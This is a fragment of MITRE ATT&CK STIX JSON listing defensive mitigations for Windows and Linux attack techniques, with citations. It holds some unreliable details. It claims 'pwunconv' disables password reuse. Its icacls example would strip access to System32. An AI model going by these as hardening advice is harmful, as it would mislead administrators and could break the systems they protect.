                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "name": "File System Logical Offsets Mitigation",
            "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "name": "Password Policies",
            "description": "Set and enforce secure password policies for accounts to reduce the likelihood of unauthorized access. Strong password policies include enforcing password complexity, requiring regular password changes, and preventing password reuse. This mitigation can be implemented through the following measures:\n\nWindows Systems:\n\n- Use Group Policy Management Console (GPMC) to configure:\n    - Minimum password length (e.g., 12+ characters).\n    - Password complexity requirements.\n    - Password history (e.g., disallow last 24 passwords).\n    - Account lockout duration and thresholds.\n\nLinux Systems:\n\n- Configure Pluggable Authentication Modules (PAM):\n- Use `pam_pwquality` to enforce complexity and length requirements.\n- Implement `pam_tally2` or `pam_faillock` for account lockouts.\n- Use `pwunconv` to disable password reuse.\n\nPassword Managers:\n\n- Enforce usage of enterprise password managers (e.g., Bitwarden, 1Password, LastPass) to generate and store strong passwords.\n\nPassword Blacklisting:\n\n- Use tools like Have I Been Pwned password checks or NIST-based blacklist solutions to prevent users from setting compromised passwords.\n\nRegular Auditing:\n\n- Periodically audit password policies and account configurations to ensure compliance using tools like LAPS (Local Admin Password Solution) and vulnerability scanners.\n\n*Tools for Implementation*\n\nWindows:\n\n- Group Policy Management Console (GPMC): Enforce password policies.\n- Microsoft Local Administrator Password Solution (LAPS): Enforce random, unique admin passwords.\n\nLinux/macOS:\n\n- PAM Modules (pam_pwquality, pam_tally2, pam_faillock): Enforce password rules.\n- Lynis: Audit password policies and system configurations.\n\nCross-Platform:\n\n- Password Managers (Bitwarden, 1Password, KeePass): Manage and enforce strong passwords.\n- Have I Been Pwned API: Prevent the use of breached passwords.\n- NIST SP 800-63B compliant tools: Enforce password guidelines and blacklisting.",
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            "created": "2019-06-11T16:43:05.712Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/M1040",
                    "external_id": "M1040"
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            "id": "course-of-action--910482b1-6749-4934-abcb-3e34d58294fc",
            "created": "2018-10-17T00:14:20.652Z",
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            "external_references": [
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                    "url": "https://attack.mitre.org/mitigations/T1175",
                    "external_id": "T1175"
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                {
                    "source_name": "Microsoft Process Wide Com Keys",
                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"
                },
                {
                    "source_name": "Microsoft System Wide Com Keys",
                    "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx"
                },
                {
                    "source_name": "Microsoft COM ACL",
                    "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1"
                },
                {
                    "source_name": "Microsoft Disable DCOM",
                    "description": "Microsoft. (n.d.). Enable or Disable DCOM. Retrieved November 22, 2017.",
                    "url": "https://technet.microsoft.com/library/cc771387.aspx"
                },
                {
                    "source_name": "Microsoft Protected View",
                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
                    "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653"
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            "modified": "2025-04-18T18:00:03.386Z",
            "name": "Distributed Component Object Model Mitigation",
            "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{AppID_GUID}</code> associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole</code> associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)\n\nConsider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)\n\nEnable Windows firewall, which prevents DCOM instantiation by default.\n\nEnsure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)",
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                    "url": "https://attack.mitre.org/mitigations/T1191",
                    "external_id": "T1191"
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                {
                    "source_name": "MSitPros CMSTP Aug 2017",
                    "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.",
                    "url": "https://msitpros.com/?p=3960"
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            "name": "CMSTP Mitigation",
            "description": "CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/mitigations/T1041",
                    "external_id": "T1041"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2025-04-18T18:00:03.761Z",
            "name": "Exfiltration Over Command and Control Channel Mitigation",
            "description": "Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/mitigations/T1068",
                    "external_id": "T1068"
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                {
                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
                    "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/"
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                {
                    "source_name": "TechNet Moving Beyond EMET",
                    "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.",
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                {
                    "source_name": "Wikipedia Control Flow Integrity",
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            "modified": "2025-04-18T18:00:03.936Z",
            "name": "Exploitation for Privilege Escalation Mitigation",
            "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.",
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            "name": "Network Share Connection Removal Mitigation",
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            "description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) opportunities can limit the exposure to this technique. \n\nClose all browser sessions regularly and when they are no longer needed.",
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            "name": "AppCert DLLs Mitigation",
            "description": "Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
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            "description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1195",
                    "external_id": "T1195"
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                    "source_name": "MITRE SE Guide 2014",
                    "description": "The MITRE Corporation. (2014). MITRE Systems Engineering Guide. Retrieved April 6, 2018.",
                    "url": "https://www.mitre.org/sites/default/files/publications/se-guide-book-interactive.pdf"
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                    "source_name": "NIST Supply Chain 2012",
                    "description": "Boyens, J,. Et al.. (2002, October). Notional Supply Chain Risk Management Practices for Federal Information Systems. Retrieved April 6, 2018.",
                    "url": "http://dx.doi.org/10.6028/NIST.IR.7622"
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                    "source_name": "OWASP Top 10 2017",
                    "description": "OWASP. (2017, April 16). OWASP Top 10 2017 - The Ten Most Critical Web Application Security Risks. Retrieved February 12, 2019.",
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            "description": "Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n\nEnforce Least Privilege Permissions:\n\n- Remove unnecessary write permissions on sensitive files and directories.\n- Use file ownership and groups to control access for specific roles.\n\nExample (Windows): Right-click the shared folder \u2192 Properties \u2192 Security tab \u2192 Adjust permissions for NTFS ACLs.\n\nHarden File Shares:\n\n- Disable anonymous access to shared folders.\n- Enforce NTFS permissions for shared folders on Windows.\n\nExample: Set permissions to restrict write access to critical files, such as system executables (e.g., `/bin` or `/sbin` on Linux). Use tools like `chown` and `chmod` to assign file ownership and limit access.\n\nOn Linux, apply:\n`chmod 750 /etc/sensitive.conf`\n`chown root:admin /etc/sensitive.conf`\n\nFile Integrity Monitoring (FIM):\n\n- Use tools like Tripwire, Wazuh, or OSSEC to monitor changes to critical file permissions.\n\nAudit File System Access:\n\n- Enable auditing to track permission changes or unauthorized access attempts.\n- Use auditd (Linux) or Event Viewer (Windows) to log activities.\n\nRestrict Startup Directories:\n\n- Configure permissions to prevent unauthorized writes to directories like `C:\\ProgramData\\Microsoft\\Windows\\Start Menu`.\n\nExample: Restrict write access to critical directories like `/etc/`, `/usr/local/`, and Windows directories such as `C:\\Windows\\System32`.\n\n- On Windows, use icacls to modify permissions: `icacls \"C:\\Windows\\System32\" /inheritance:r /grant:r SYSTEM:(OI)(CI)F`\n- On Linux, monitor permissions using tools like `lsattr` or `auditd`.",
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            "description": "Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Remote System Discovery Mitigation",
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/mitigations/T1037",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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            "modified": "2025-04-18T18:00:06.317Z",
            "name": "Logon Scripts Mitigation",
            "description": "Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nIdentify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
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            "description": "Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n\nAccount Permissions and Roles:\n\n- Implement RBAC and least privilege principles to allocate permissions securely.\n- Use tools like Active Directory Group Policies to enforce access restrictions.\n\nCredential Security:\n\n- Deploy password vaulting tools like CyberArk, HashiCorp Vault, or KeePass for secure storage and rotation of credentials.\n- Enforce password policies for complexity, uniqueness, and expiration using tools like Microsoft Group Policy Objects (GPO).\n\nMulti-Factor Authentication (MFA):\n\n- Enforce MFA for all privileged accounts using Duo Security, Okta, or Microsoft Azure AD MFA.\n\nPrivileged Access Management (PAM):\n\n- Use PAM solutions like CyberArk, BeyondTrust, or Thycotic to manage, monitor, and audit privileged access.\n\nAuditing and Monitoring:\n\n- Integrate activity monitoring into your SIEM (e.g., Splunk or QRadar) to detect and alert on anomalous privileged account usage.\n\nJust-In-Time Access:\n\n- Deploy JIT solutions like Azure Privileged Identity Management (PIM) or configure ephemeral roles in AWS and GCP to grant time-limited elevated permissions.\n\n*Tools for Implementation*\n\nPrivileged Access Management (PAM):\n\n- CyberArk, BeyondTrust, Thycotic, HashiCorp Vault.\n\nCredential Management:\n\n- Microsoft LAPS (Local Admin Password Solution), Password Safe, HashiCorp Vault, KeePass.\n\nMulti-Factor Authentication:\n\n- Duo Security, Okta, Microsoft Azure MFA, Google Authenticator.\n\nLinux Privilege Management:\n\n- sudo configuration, SELinux, AppArmor.\n\nJust-In-Time Access:\n\n- Azure Privileged Identity Management (PIM), AWS IAM Roles with session constraints, GCP Identity-Aware Proxy.",
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            "created": "2019-06-06T21:09:47.115Z",
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                    "url": "https://attack.mitre.org/mitigations/M1026",
                    "external_id": "M1026"
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            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/mitigations/T1180",
                    "external_id": "T1180"
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                {
                    "source_name": "TechNet Screensaver GP",
                    "description": "Microsoft. (n.d.). Customizing the Desktop. Retrieved December 5, 2017.",
                    "url": "https://technet.microsoft.com/library/cc938799.aspx"
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            "name": "Screensaver Mitigation",
            "description": "Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "external_id": "T1101"
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                {
                    "source_name": "Graeber 2014",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
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                {
                    "source_name": "Microsoft Configure LSA",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"
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            "name": "Security Support Provider Mitigation",
            "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL</code>, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "name": "Uncommonly Used Port Mitigation",
            "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "url": "https://attack.mitre.org/mitigations/T1023",
                    "external_id": "T1023"
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                {
                    "source_name": "UCF STIG Symbolic Links",
                    "description": "UCF. (n.d.). Unauthorized accounts must not have the Create symbolic links user right.. Retrieved December 18, 2017.",
                    "url": "https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "name": "Shortcut Modification Mitigation",
            "description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)\n\nIdentify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/mitigations/T1209",
                    "external_id": "T1209"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "source_name": "Microsoft W32Time May 2017",
                    "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings"
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            "name": "Time Providers Mitigation",
            "description": "Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.\n\nConsider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)",
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            "description": "Restricting registry permissions involves configuring access control settings for sensitive registry keys and hives to ensure that only authorized users or processes can make modifications. By limiting access, organizations can prevent unauthorized changes that adversaries might use for persistence, privilege escalation, or defense evasion. This mitigation can be implemented through the following measures:\n\nReview and Adjust Permissions on Critical Keys\n\n- Regularly review permissions on keys such as `Run`, `RunOnce`, and `Services` to ensure only authorized users have write access.\n- Use tools like `icacls` or `PowerShell` to automate permission adjustments.\n\nEnable Registry Auditing\n\n- Enable auditing on sensitive keys to log access attempts.\n- Use Event Viewer or SIEM solutions to analyze logs and detect suspicious activity.\n- Example Audit Policy: `auditpol /set /subcategory:\"Registry\" /success:enable /failure:enable`\n\nProtect Credential-Related Hives\n\n- Limit access to hives like `SAM`,`SECURITY`, and `SYSTEM` to prevent credential dumping or other unauthorized access.\n- Use LSA Protection to add an additional security layer for credential storage.\n\nRestrict Registry Editor Usage\n\n- Use Group Policy to restrict access to regedit.exe for non-administrative users.\n- Block execution of registry editing tools on endpoints where they are unnecessary.\n\nDeploy Baseline Configuration Tools\n\n- Use tools like Microsoft Security Compliance Toolkit or CIS Benchmarks to apply and maintain secure registry configurations.\n\n*Tools for Implementation* \n\nRegistry Permission Tools:\n\n- Registry Editor (regedit): Built-in tool to manage registry permissions.\n- PowerShell: Automate permissions and manage keys. `Set-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"KeyName\" -Value \"Value\"`\n- icacls: Command-line tool to modify ACLs.\n\nMonitoring Tools:\n\n- Sysmon: Monitor and log registry events.\n- Event Viewer: View registry access logs.\n\nPolicy Management Tools:\n\n- Group Policy Management Console (GPMC): Enforce registry permissions via GPOs.\n- Microsoft Endpoint Manager: Deploy configuration baselines for registry permissions.",
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                    "url": "https://attack.mitre.org/mitigations/M1024",
                    "external_id": "M1024"
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            "created": "2018-10-17T00:14:20.652Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1208",
                    "external_id": "T1208"
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                {
                    "source_name": "AdSecurity Cracking Kerberos Dec 2015",
                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
                    "url": "https://adsecurity.org/?p=2293"
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            "name": "Kerberoasting Mitigation",
            "description": "Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nLimit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nEnable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)",
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "name": "Custom Cryptographic Protocol Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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            "modified": "2024-12-10T15:58:23.136Z",
            "name": "Antivirus/Antimalware",
            "description": "Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware. These solutions continuously monitor endpoints and systems for known malicious patterns and suspicious behaviors that indicate compromise. Antivirus/Antimalware software should be deployed across all devices, with automated updates to ensure protection against the latest threats. This mitigation can be implemented through the following measures:\n\nSignature-Based Detection:\n\n- Implementation: Use predefined signatures to identify known malware based on unique patterns such as file hashes, byte sequences, or command-line arguments. This method is effective against known threats.\n- Use Case: When malware like \"Emotet\" is detected, its signature (such as a specific file hash) matches a known database of malicious software, triggering an alert and allowing immediate quarantine of the infected file.\n\nHeuristic-Based Detection:\n\n- Implementation: Deploy heuristic algorithms that analyze behavior and characteristics of files and processes to identify potential malware, even if it doesn\u2019t match a known signature.\n- Use Case: If a program attempts to modify multiple critical system files or initiate suspicious network communications, heuristic analysis may flag it as potentially malicious, even if no specific malware signature is available.\n\nBehavioral Detection (Behavior Prevention):\n\n- Implementation: Use behavioral analysis to detect patterns of abnormal activities, such as unusual system calls, unauthorized file encryption, or attempts to escalate privileges.\n- Use Case: Behavioral analysis can detect ransomware attacks early by identifying behavior like mass file encryption, even before a specific ransomware signature has been identified.\n\nReal-Time Scanning:\n\n- Implementation: Enable real-time scanning to automatically inspect files and network traffic for signs of malware as they are accessed, downloaded, or executed.\n- Use Case: When a user downloads an email attachment, the antivirus solution scans the file in real-time, checking it against both signatures and heuristics to detect any malicious content before it can be opened.\n\nCloud-Assisted Threat Intelligence:\n\n- Implementation: Use cloud-based threat intelligence to ensure the antivirus solution can access the latest malware definitions and real-time threat feeds from a global database of emerging threats.\n- Use Case: Cloud-assisted antivirus solutions quickly identify newly discovered malware by cross-referencing against global threat databases, providing real-time protection against zero-day attacks.\n\n**Tools for Implementation**:\n\n- Endpoint Security Platforms: Use solutions such as EDR for comprehensive antivirus/antimalware protection across all systems.\n- Centralized Management: Implement centralized antivirus management consoles that provide visibility into threat activity, enable policy enforcement, and automate updates.\n- Behavioral Analysis Tools: Leverage solutions with advanced behavioral analysis capabilities to detect malicious activity patterns that don\u2019t rely on known signatures.",
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                    "url": "https://attack.mitre.org/mitigations/M1049",
                    "external_id": "M1049"
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1032",
                    "external_id": "T1032"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "name": "Standard Cryptographic Protocol Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)",
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            "created": "2018-10-17T00:14:20.652Z",
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            "name": "Regsvcs/Regasm Mitigation",
            "description": "Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuse by adversaries.",
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                    "url": "https://attack.mitre.org/mitigations/T1011",
                    "external_id": "T1011"
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                {
                    "source_name": "Microsoft GPO Bluetooth FEB 2009",
                    "description": "Microsoft. (2009, February 9). Disabling Bluetooth and Infrared Beaming. Retrieved July 26, 2018.",
                    "url": "https://technet.microsoft.com/library/dd252791.aspx"
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                {
                    "source_name": "TechRepublic Wireless GPO FEB 2009",
                    "description": "Schauland, D. (2009, February 24). Configuring Wireless settings via Group Policy. Retrieved July 26, 2018.",
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            "name": "Exfiltration Over Other Network Medium Mitigation",
            "description": "Ensure host-based sensors maintain visibility into usage of all network adapters and prevent the creation of new ones where possible. (Citation: Microsoft GPO Bluetooth FEB 2009) (Citation: TechRepublic Wireless GPO FEB 2009)",
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                    "url": "https://attack.mitre.org/mitigations/T1061",
                    "external_id": "T1061"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
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                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                {
                    "source_name": "Corio 2008",
